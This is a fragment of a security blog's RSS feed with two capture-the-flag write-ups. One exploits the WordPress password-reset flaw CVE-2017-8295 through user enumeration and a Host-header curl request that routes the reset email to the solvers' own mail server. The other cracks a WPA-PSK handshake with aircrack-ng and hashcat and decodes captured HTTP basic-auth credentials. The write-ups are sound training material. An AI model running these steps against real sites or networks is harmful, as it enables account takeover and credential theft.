<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295">CVE-2017-8295</a> vulnerability.</p>

<p>Fingerprinting w/ <a href="https://wpscan.org/">WPScan</a>..</p>

<ul>
<li>WordPress version 4.7.4</li></ul>]]></description><link>http://dann.com.br/cryp70ch405-2017-web200-bugpress/</link><guid isPermaLink="false">ae8f03dc-033f-4e8e-b8c1-378c8e7aa521</guid><category><![CDATA[web security]]></category><category><![CDATA[cryp70ch4052k17]]></category><category><![CDATA[cryptorave 2017]]></category><category><![CDATA[phpmailer]]></category><category><![CDATA[wordpress]]></category><category><![CDATA[0day]]></category><category><![CDATA[ctf]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Wed, 10 May 2017 01:02:58 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/05/Selection_884.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/05/Selection_884.png" alt="CryptoRave 2017: web200-bugpress"><p>Você tem um blog Wordpress e uma sensação de falta de patch... <br>
Link: <a href="http://34.202.17.29/">http://34.202.17.29/</a> <br>
OBS: A flag está no formato CR2017{flag}</p>

<h2 id="solution">Solution</h2>

<p><mark>TL;DR</mark></p>

<p><a href="https://www.linkedin.com/in/marciorag/">marcioRAGarcia</a> hosted a mailserver w/ a catch-all mailbox and we exploited 
<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295">CVE-2017-8295</a> vulnerability.</p>

<p>Fingerprinting w/ <a href="https://wpscan.org/">WPScan</a>..</p>

<ul>
<li>WordPress version 4.7.4 (Released on 2017-04-20) identified from meta generator</li>
</ul>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_879.png" alt="CryptoRave 2017: web200-bugpress"></p>

<p>If the version is <code>&lt;= 4.7.4</code>, this installation may be vulnerable to <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295">CVE-2017-8295</a></p>

<blockquote>
  <p>WordPress through 4.7.4 relies on the <code>Host HTTP header</code> for a password-reset e-mail message, which makes it easier for remote attackers to reset arbitrary passwords by making a crafted <code>wp-login.php?action=lostpassword</code> request and then arranging for this message to bounce or be resent, leading to transmission of the reset key to a mailbox on an attacker-controlled <code>SMTP server</code>.</p>
</blockquote>

<p>This vuln is discovered by <a href="http://twitter.com/dawid_golunski">Dawid Golunski</a> from <a href="http://exploitbox.io">ExploitBox.io</a>, more details and a well written PoC <a href="https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html">here</a>.</p>

<p>All we need to do:</p>

<ul>
<li>Enumerate the Wordpress admin username (wpscan can help..)</li>
<li>Host a mail server w/ a <code>catch-all</code> mailbox <code>*@attackerdomain.com</code></li>
<li>Intercept the <code>POST /wp-login.php?action=lostpassword</code>, rewrite the <code>Host header</code> to our own mail server domain and replay this request.</li>
</ul>

<p>The Wordpress will use <code>SERVER_NAME</code> variable to get the hostname of the server in order to create a <code>From/Return-Path</code> header of the outgoing password reset email.</p>

<p>If for some reason(mailbox out of quota or any delivery error) the server is unable to deliver the email into the admin mailbox it will return to <code>Return-Path</code>, our <code>mailbox@ourdomain.com</code></p>

<p>Enumerating wordpress users..</p>

<pre><code class="language-bash">wpscan -u http://34.202.17.29/ --enumerate u

[+] Identified the following 1 user/s:
    +----+------------+-----------------+
    | Id | Login      | Name            |
    +----+------------+-----------------+
    | 1  | ch405admin | ch405admin      |
    +----+------------+-----------------+
</code></pre>

<p>Nice, we have our admin username <code>ch405admin</code></p>

<p>Now, <a href="https://www.linkedin.com/in/marciorag/">marcioRAGarcia</a> used your own domain/mailserver to create the catch-all mailbox to receive the reset password mail and we rewrite/replay the <code>POST /wp-login.php?action=lostpassword</code></p>

<pre><code class="language-bash">curl -i -s -k  -X 'POST' \  
    -H 'Origin: http://34.202.17.29' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3020.89 Safari/537.32' 
    -H 'Content-Type: application/x-www-form-urlencoded' \
    -H 'Referer: http://34.202.17.29/wp-login.php?action=lostpassword' \
    -H 'Host: marciogarcia.com.br' \
    -b 'wordpress_test_cookie=WP+Cookie+check' \
    --data-binary $'user_login=ch405admin&amp;redirect_to=&amp;wp-submit=Get+New+Password' \
    'http://34.202.17.29/wp-login.php?action=lostpassword'
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_883.png" alt="CryptoRave 2017: web200-bugpress"></p>

<p>..and server sent us the flag inside the password reset mail!</p>

<p>Awesome contest <a href="https://cryptorave.org/">Criptorave / CRYP70 CH405 / RTFM</a></p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_888.png" alt="CryptoRave 2017: web200-bugpress"></p>

<h3 id="localctf">Local CTF</h3>

<p>Congratz to <strong>mtps3</strong>(<a href="https://www.linkedin.com/in/matheus-jesus/">Matheus</a>), our local player for winning this contest!</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_882.png" alt="CryptoRave 2017: web200-bugpress"></p>

<h2 id="references">References</h2>

<ul>
<li>CVE-2017-8295 - <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8295</a></li>
<li>WordPress Core &lt;= 4.7.4 Potential Unauthorized Password Reset (0day) -
<a href="https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html">https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html</a></li>
</ul>]]></content:encoded></item><item><title><![CDATA[SHX9 : for200-basic_auth]]></title><description><![CDATA[<p>We intercepted this communication on the internal network and we made a pivoting to the administration page of a spy cell, but we do not have a wifi password to decode and access a page of them. Can you help us? <br>
Tip: I think they use a custom password with</p>]]></description><link>http://dann.com.br/shx9-for200-basic_auth/</link><guid isPermaLink="false">f2489bc2-a0f5-44a5-8ba5-b6477d80d663</guid><category><![CDATA[forensics]]></category><category><![CDATA[shx9]]></category><category><![CDATA[wpa-psk]]></category><category><![CDATA[bruteforce]]></category><category><![CDATA[802.11]]></category><category><![CDATA[wifi cracking]]></category><category><![CDATA[ctf]]></category><dc:creator><![CDATA[intrd]]></dc:creator><pubDate>Mon, 08 May 2017 04:37:21 GMT</pubDate><media:content url="http://dann.com.br/content/images/2017/05/Selection_861.png" medium="image"/><content:encoded><![CDATA[<img src="http://dann.com.br/content/images/2017/05/Selection_861.png" alt="SHX9 : for200-basic_auth"><p>We intercepted this communication on the internal network and we made a pivoting to the administration page of a spy cell, but we do not have a wifi password to decode and access a page of them. Can you help us? <br>
Tip: I think they use a custom password with shx.</p>

<h2 id="solution">Solution</h2>

<p>On this challenge we have access to a router administration page..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_875.png" alt="SHX9 : for200-basic_auth"></p>

<p>and a <code>pcap</code> file..</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_849.png" alt="SHX9 : for200-basic_auth"></p>

<p>I've bruteforced this router admin page w/ some common logins/passwords, but no success.. </p>

<p>If we load this <code>.pcap</code> at <code>Wireshark</code>, all <code>802.11</code> traffic is encrypted.. so we need to crack this password and decrypt w/ <code>master key</code>. </p>

<p>Used <code>aircrack-ng</code> extracting the hash to work with <code>Hashcat</code> (with <a href="https://hashcat.net/hashcat/">Hashcat</a> my GPU performs better than <code>John</code> and <code>Pyrit</code>)</p>

<pre><code class="language-bash">aircrack-ng SHX9-01.cap -J shx9  
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_851.png" alt="SHX9 : for200-basic_auth"></p>

<p><strong>Update</strong>: If you have problem with <code>hccap</code> version, use this: <a href="https://hashcat.net/cap2hccapx/">https://hashcat.net/cap2hccapx/</a> to generate a <code>hccapx</code>. (thx <a href="https://dbaser.github.io/">dbaser</a>)</p>

<p>As you can see, it's a <code>WPA-PSK</code>, challenge description give a tip, we need to generate a wordlist containing "shx" at permutations.</p>

<p>So, <code>WPA-PSK</code> starts w/ <code>lentgh = 8</code>, and I do not believe that <code>shellterlabs</code> used a password above 8~9 digits because it would consume a lot of processing power to crack. </p>

<p>Then, my 1st permutation started w/ <code>shx?1?1?1?1?1</code>, every <code>?1</code> contains <code>?l?d?s</code>, all lower letters, simbols and digits. Hashcat is awesome, because we can do this permutations on the fly..</p>

<pre><code class="language-bash">/home/intrd/appz/hashcat/hashcat64.bin -m 2500 shx9.hccap -a3 -1 ?l?d?s shx?1?1?1?1?1
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_853.png" alt="SHX9 : for200-basic_auth"></p>

<p>Nice! Recovered the password on my first try! If won't worked i'll try <code>?1?1?1?1?1shx</code> and soon, <code>crunch</code> can help u w/ more advanced permutations.</p>

<p>Wireshark needs WPA-PSK <code>Master Key</code> to decrypt traffic and hashcat didn't give to us..</p>

<p>Knowing the <code>plain text password</code> is easy to get the Master Key doing this:</p>

<pre><code class="language-bash">echo "sample@p@ssword" &gt;&gt; pwds  
echo "sample@p@ssword" &gt;&gt; pwds  
echo "sample@p@ssword" &gt;&gt; pwds  
aircrack-ng -b 18:A6:F7:8F:2B:F0 -w pwds SHX9-01.cap  
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_856.png" alt="SHX9 : for200-basic_auth"></p>

<p>With the master key, launch <code>Wireshark</code> and decrypt all 802.11 traffic between client and router.</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_862.png" alt="SHX9 : for200-basic_auth"></p>

<p><strong>Update</strong>: You can decrypt traffic without the need of wireshark <code>airdecap-ng -e shx9 -p sample@p@ssword SHX9-01.cap</code>, thx <a href="https://www.linkedin.com/in/marciorag/">marcioRAGarcia</a> )</p>

<p>And now, follow all the <code>GET/POST</code> requests between <code>router</code> and <code>client</code> and you will find the <code>HTTP basic auth</code> coded in <code>base64</code> w/ our admin page login/password!</p>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_859.png" alt="SHX9 : for200-basic_auth"></p>

<pre><code class="language-bash">echo captured_http_basicauth | base64 --decode  
</code></pre>

<p><img src="http://dann.com.br/content/images/2017/05/Selection_860.png" alt="SHX9 : for200-basic_auth"></p>

<p>Router pwned, client pwned! <br>
..and there is our flag!</p>

<h2 id="references">References</h2>

<ul>
<li>Hashcat wiki - <a href="https://hashcat.net/wiki/">https://hashcat.net/wiki/</a></li>
<li>How to Crack WPA/WPA2 - <a href="https://www.aircrack-ng.org/doku.php?id=cracking_wpa">https://www.aircrack-ng.org/doku.php?id=cracking_wpa</a></li>
</ul>]]></content:encoded></item></channel></rss>